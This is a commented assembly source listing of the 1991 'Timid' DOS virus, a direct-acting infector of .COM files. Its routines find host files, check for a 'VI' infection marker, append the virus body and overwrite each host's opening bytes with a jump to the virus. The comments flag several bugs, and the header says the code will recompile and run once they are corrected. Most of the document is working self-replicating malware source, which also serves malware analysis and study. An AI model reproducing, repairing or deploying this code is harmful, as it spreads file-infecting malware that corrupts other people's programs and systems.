
PAGE  59,132

;			        TIMID VIRUS

;   				23-Dec-91

; COMMENTS:
;					Direct acting .COM infector, infects all    
;					files found between 2 bytes and 64,750 bytes.
;					Tends to hang system on large files.
;					No trigger and no destructive capabilities.
;					Execution of secondary infections are apt  
;					to result in system lockup.                
;					Appears to be an escaped research virus,   
;					perhaps a Beta version.                    
;								                               
;					With the noted errors corrected, the code
;					will recompile under TASM v.2.0  and execute 
;					without problems.
;
;						- R. Wallace Hale
;

old_DTA			equ		80h		

new_DTA			equ		0FF2Ah	

ptr_buf_stk		equ		0FFFCh	

ID_buf_stk		equ		0FF57h	

fil_hdl_stk		equ		0FF55h	

fil_nam_stk		equ		0FF48h	

fil_siz_stk		equ		0FF44h	






seg_a		segment	byte public

		ASSUME	CS:seg_a, DS:seg_a


		ORG	100h

timid		PROC	far

start:
		jmp		begin						; jump to virus code

		db		56h, 49h					; VI - infection marker
											;	Identification of
											;	infected files depends
											;	on the combination of
											;	an E9h jump instruction
											;	being the first byte of
											;	the host, confirmed by
											;	the presence of the 'VI'
											;	marker as bytes four and
											;	five.

		db		21h	

		db		2Ah, 2Eh, 43h, 4Fh, 4Dh, 00h ; *.COM target 

begin:
		call	set_up

timid		ENDP

set_up		PROC	near

		sub		word ptr ds:ptr_buf_stk,9	; Top of Stack -
											; 	set pointer to "*.COM",
											;	the target file type.

		mov		dx,new_DTA
		mov		ah,1Ah						; Set DTA function
		int		21h							; call DOS

		call	find_host					; search for a candidate
											;	host file

		jnz		start						; No .COM files found, so lock
											;	in a loop forever?  And that
											;	is exactly what takes place.
											; Should jump to restore old DTA.

		call	do_infect					; found a host, so infect it

;
;	Display name of host file being infected
;

		mov		dx,fil_nam_stk				; point to file name
		mov		word ptr ds:fil_hdl_stk,'$'	; Append terminator for
											;	Display String function.

		mov		ah,9						; Display String function
		int		21h							; call DOS


;
;		Restore original DTA
;

		mov		dx,old_DTA
		mov		ah,1Ah						; Set DTA function
		int		21h							; call DOS

;
;		Restore original first 5 bytes
;

		mov		bx,ds:ptr_buf_stk			;	offset of *.COM
		mov		ax,[bx+51h]					; get first two bytes

		nop
		mov		word ptr ds:[100h],ax		; move first two bytes 
											;	to 100h


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß;
;											;
;		ERROR!	-	See comments			;
;											;
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß;

		mov		ax,[bx+4Fh]					; get next two bytes
											;		!! ERROR !!
											;	This should be BX + 53h
		nop
		mov		word ptr ds:[102h],ax		; and move into place


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß;
;											;
;		ERROR!	-	See comments			;
;											;
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß;

		mov		al,[bx+4Dh]					; get last byte
											;		!! ERROR !!
											;	This should be BX + 55h
		nop
		mov		byte ptr ds:[104h],al		; and move into position

		mov		word ptr ds:ptr_buf_stk,100h
											; jmup to original host code

		retn

set_up		ENDP


;
;		First 5 bytes of host.
;

		db		0B4h, 4Ch,0B0h, 00h,0CDh	; Original first 5 bytes


;
;		Find First File routine
;

find_host		PROC	near

		mov		dx,ds:ptr_buf_stk			; filespec *.COM
											;	(contents of TOS)

		add		dx,0						; a pointless instruction,
											;	does nothing.


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß;
;											;
;		ERROR!	-	See comments			;
;											;
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß;

		mov		cx,3Fh						; attribute to search for -
											;	hidden, read-only, system..
											;	however, no provision
											;	is made for dealing with
											;	hidden or read-only files,
											;	which will produce an error
											;	message if such are found.

		mov		ah,4Eh						; Find First File function
		int		21h							; call DOS

test_host:
		or		al,al						; Zero ?
		jnz		done_here					; Jump if not zero
		call	is_infected					; test for infection
		jz		done_here					; Jump if zero


;
;		Find Next File routine
;

		mov		ah,4Fh						; Find Next File function
		int		21h							; call DOS
		jmp		short test_host	

done_here:
		retn

find_host		ENDP


;
;		Read first five bytes of candidate file
;		and test for infection.
;

is_infected		PROC	near

		mov		dx,fil_nam_stk				; point to ASCIIZ filename

		mov		ax,3D02h					; Open File function in
											;	Read/Write mode
		int		21h							; call DOS
		jc		reject						; Jump if carry Set

		mov		bx,ax						; store handle in BX
		push	bx							;	and save it on stack
		mov		cx,5						; read first five bytes
		mov		dx,ID_buf_stk				; 	and store on stack
		mov		ah,3Fh						; Read File function
		int		21h							; call DOS

		pop		bx							; restore file handle in BX
		mov		ah,3Eh						; Close File function
		int		21h							; call DOS

		mov		ax,ds:fil_siz_stk			; get file size in AX
		add		ax,311h						; file too big? (Larger than
											;	64,750 bytes.)
		jc		reject						; yes, don't try to infect
	


;
;		Test candidate file for infection
;

		cmp		byte ptr ds:ID_buf_stk,0E9h	; Is first byte our near 
											;	jump instruction?

		jne		file_ok						; No, so infect the file.


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß;
;											;
;		ERROR!	-	See comments			;
;											;
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß;

		cmp		word ptr ds:ID_buf_stk+4,4956h	
											; Yes, E9 jump found, check
											; 	whether fourth and fifth 
											;	bytes are 'VI',the 
											;	infection indicator
											;		!! ERROR !!
											;	To increase 4 bytes, 
											;	instruction should be
											;	ID_buf_stk + 3

		jne		file_ok						; infection marker not present,
											;	so infect the file.

;
;		Rejected host
;

reject:
		mov		al,1
		or		al,al						; clear Zero Flag
		retn


;
;		Suitable host;  continue
;

file_ok:	
		xor		al,al						; set Zero Flag
		retn

is_infected		ENDP


;
;  		Infection routine
;

do_infect		PROC	near

		mov		dx,fil_nam_stk				; point to file name
		mov		ax,3D02h					; Open File function in R/W mode
		int		21h							; call DOS

		mov		ds:fil_hdl_stk,ax			; store file handle
		xor		cx,cx						; set SEEK offset to zero
		mov		dx,cx	
		mov		bx,ds:fil_hdl_stk			; get file handle in BX
		mov		ax,4202h					; Seek to EOF

		int		21h							; call DOS

;
;	Reserve 5 bytes in the infected file,	
;	insert the infection marker, and write	
;	the infected file back to disk.			
;

		mov		cx,132h						; length of virus code
											;	number of bytes to write
		mov		dx,ds:ptr_buf_stk			; start at '*.COM'

		mov		bx,ds:fil_hdl_stk			; move file handle into BX
											;	(appears redundant;  BX
											;	 already contains handle)
		mov		ah,40h						; Write File function
		int		21h							; call DOS
											;	Append virus to end of host.

		xor		cx,cx						; Zero register
		mov		dx,ds:fil_siz_stk

		add		dx,51h						; points to the location of the
											;	first five bytes.

		mov		bx,ds:fil_hdl_stk			; move file handle into BX
											;	(redundant instruction)

		mov		ax,4200h					; Move File Pointer function
											;	absolute offset from start
											;	of file
		int		21h							; call DOS

		mov		cx,5						; number of bytes to write
		mov		bx,ds:fil_hdl_stk			; move file handle into BX
											;	(redundant instruction)

		mov		dx,ID_buf_stk				; Save original first 5 bytes
											;	of file.

		mov		ah,40h						; Write File function
		int		21h							; call DOS

		xor		cx,cx						; set SEEK offset to zero
		mov		dx,cx
		mov		bx,ds:fil_hdl_stk			; move file handle into BX
											;	(redundant instruction)
		mov		ax,4200h					; Move File Pointer function
											;	SEEK to start of file.

		int		21h							; call DOS

		mov		bx,ds:ptr_buf_stk			; Why? 

		mov		byte ptr ds:ID_buf_stk,0E9h	; make E9h, a near jump 
											;	instruction, the first byte
											;	in the buffer.

		mov		ax,ds:fil_siz_stk
		add		ax,3						; calculate jump past host file 
											;	to start of viral code
		mov		ds:ID_buf_stk+1,ax			; next 2 bytes, the jump
											;	address


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß;
;											;
;		ERROR!	-	See comments			;
;											;
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß;

		mov		word ptr ds:ID_buf_stk+4,4956h
											; move "VI", the infection 
											;	marker, into buffer
											;		!! ERROR !!
											;	To increase pointer by 4
											;	bytes, instruction should be
											;	ID_buf_stk + 3

		mov		cx,5						; number of bytes to write
		mov		dx,ID_buf_stk				; address of buffer
		mov		bx,ds:fil_hdl_stk			; restore file handle in BX
		mov		ah,40h						; Write File function
		int		21h							; call DOS
											;	Overwrite first five bytes
											;	of host with jump to virus
											;	and the infection marker.

		mov		bx,ds:fil_hdl_stk			; move file handle into BX
											;	(redundant instruction)
		mov		ah,3Eh						; Close File function
		int		21h							; call DOS

		retn

do_infect		ENDP


seg_a		ends



		end	start

